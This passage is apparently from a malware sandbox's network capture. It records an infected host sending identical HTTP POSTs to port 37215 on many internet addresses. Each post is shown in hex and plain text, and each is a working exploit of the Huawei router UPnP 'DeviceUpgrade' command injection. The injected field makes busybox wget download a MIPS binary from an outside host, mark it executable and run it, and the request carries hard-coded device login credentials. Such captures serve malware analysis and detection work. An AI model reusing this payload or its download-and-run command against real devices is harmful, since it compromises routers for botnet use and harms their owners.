74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.13	59552	41.53.161.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.462424040 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.13	45158	197.249.126.214	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.463843107 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.13	41726	41.189.245.175	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.465118885 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.13	52164	197.127.27.211	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.466331959 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.13	33884	156.0.191.133	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.467689991 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.13	47538	41.23.47.215	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.469310999 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.13	52048	197.236.147.215	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.470695019 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.13	46362	41.191.78.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.473135948 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.13	47286	41.77.158.28	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.476010084 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.13	33630	156.127.187.31	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.479439974 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.13	54472	41.134.236.179	37215

Timestamp	Bytes transferred	Direction	Data
